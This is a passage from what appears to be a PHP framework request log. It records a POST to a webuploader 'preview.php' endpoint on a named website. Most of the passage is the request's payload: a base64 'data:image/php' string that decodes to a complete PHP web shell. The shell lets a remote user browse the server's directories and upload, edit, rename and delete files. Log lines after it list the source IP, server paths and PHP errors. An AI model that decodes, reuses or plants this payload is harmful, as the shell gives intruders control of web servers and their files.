'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:33:21+08:00 ] 116.213.36.234 POST www.51tianwei.com/app/admincp/ui/webuploader/0.1.15/server/preview.php [运行时间:0.002519s] [吞吐率:396.96req/s] [内存消耗:196.76kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'app', 2 => 'admincp', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 